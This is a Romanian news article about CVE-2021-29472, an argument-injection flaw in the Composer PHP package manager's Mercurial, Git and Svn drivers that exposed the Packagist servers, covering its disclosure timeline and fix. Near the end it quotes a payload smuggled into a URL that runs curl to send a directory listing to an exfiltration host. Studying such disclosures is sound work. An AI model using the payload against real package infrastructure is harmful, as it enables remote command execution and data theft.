O vulnerabilitate în managerul de pachete Composer, care permite compromiterea repository-ului PHP Packagist

Managerul de dependențe Composer a identificat o vulnerabilitate critică (CVE-2021-29472), care permite executarea de comenzi arbitrare în sistem atunci când se procesează un pachet cu o valoare URL special formată, definind o adresă pentru descărcarea codului sursă. Problema se manifestă în componentele GitDriver, SvnDriver și HgDriver, utilizate în sistemele de gestionare a codului sursă Git, Subversion și Mercurial. Vulnerabilitatea a fost remediată în versiunile Composer 1.10.22 și 2.0.13.

Se remarcă în mod special că problema a afectat în principal repository-ul de pachete Packagist, utilizat implicit în Composer, care conține 306 mii de pachete pentru dezvoltatorii PHP și deservește lunar peste 1.4 miliarde de descărcări. În cadrul experimentului s-a demonstrat că, având informații despre problemă, atacatorii ar putea prelua controlul asupra infrastructurii Packagist și intercepta datele de autentificare ale colaboratorilor sau redirecționa descărcarea pachetelor către un server extern, aranjând livrarea de variante ale pachetelor cu modificări malițioase pentru a introduce un backdoor în procesul de instalare a dependențelor.

Pericolul pentru utilizatorii finali este limitat la faptul că conținutul composer.json este de obicei definit de utilizator, iar linkurile către codurile sursă sunt transmise atunci când se accesează repository-uri externe, de obicei de încredere. Principalul impact a fost asupra repository-ului Packagist.org și al serviciului Private Packagist, care apelează Composer cu datele obținute de la utilizatori. Atacatorii ar fi putut rula codul lor pe serverele Packagist prin încărcarea unui pachet special format.

Echipa Packagist a remediat vulnerabilitatea în termen de 12 ore după primirea notificării despre aceasta. Cercetătorii au notificat privat dezvoltatorii Packagist pe 22 aprilie, iar în aceeași zi problema a fost rezolvată. Actualizarea publică a Composer cu remedierea vulnerabilității a fost publicată pe 27 aprilie, iar detaliile au fost dezvăluite pe 28 aprilie. Auditul log-urilor de pe serverele Packagist nu a evidențiat activitate suspectă legată de vulnerabilitate.

Problema este cauzată de o eroare în codul de validare a URL-urilor din fișierul rădăcină composer.json și în linkurile pentru descărcarea codului sursă. Eroarea este prezentă în cod din noiembrie 2011. În Packagist, pentru a organiza descărcarea codului fără a fi legat de un sistem de gestionare a codului sursă specific, sunt utilizate straturi speciale, care sunt executate prin apelarea «fromShellCommandline» cu transmiterea argumentelor din linia de comandă. De exemplu, pentru git se apelează comanda «git ls-remote —heads $URL», unde URL-ul este procesat prin metoda «ProcessExecutor::escape($url)», care scapă de construcții potențial periculoase, cum ar fi «$(…)» sau «`…`».

Esenta problemei este că metoda ProcessExecutor::escape nu a scăpat secvența «—«, ceea ce permitea indicarea oricărui parametrul adițional în URL. O astfel de scăpare a lipsit în driverele GitDriver.php, SvnDriver.php și HgDriver.php. Atacului prin GitDriver.php i s-a opus faptul că comanda «git ls-remote» nu acceptă specificarea argumentelor adiționale după cale. A fost posibil un atac pe HgDriver.php prin transmiterea parametrului «—config» utilitarului «hq», care permitea executarea oricărei comenzi prin manipularea setării «alias.identify». De exemplu, pentru a descărca și executa codul prin rularea utilitarului curl, putea fi specificat: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

Prin plasarea unui pachet de test în Packagist cu un astfel de URL, cercetătorii s-au asigurat că, după plasarea pe serverul lor, a fost primit un HTTP-request de pe unul din servere Packagist în AWS, conținând un listing al fișierelor din directorul curent.

Sursa: opennet.ro

Cumpără un hosting fiabil pentru site-uri cu protecție DDoS, servere VPS VDS 🔥 Cumpără un hosting fiabil pentru site-uri cu protecție DDoS, servere VPS VDS | ProHoster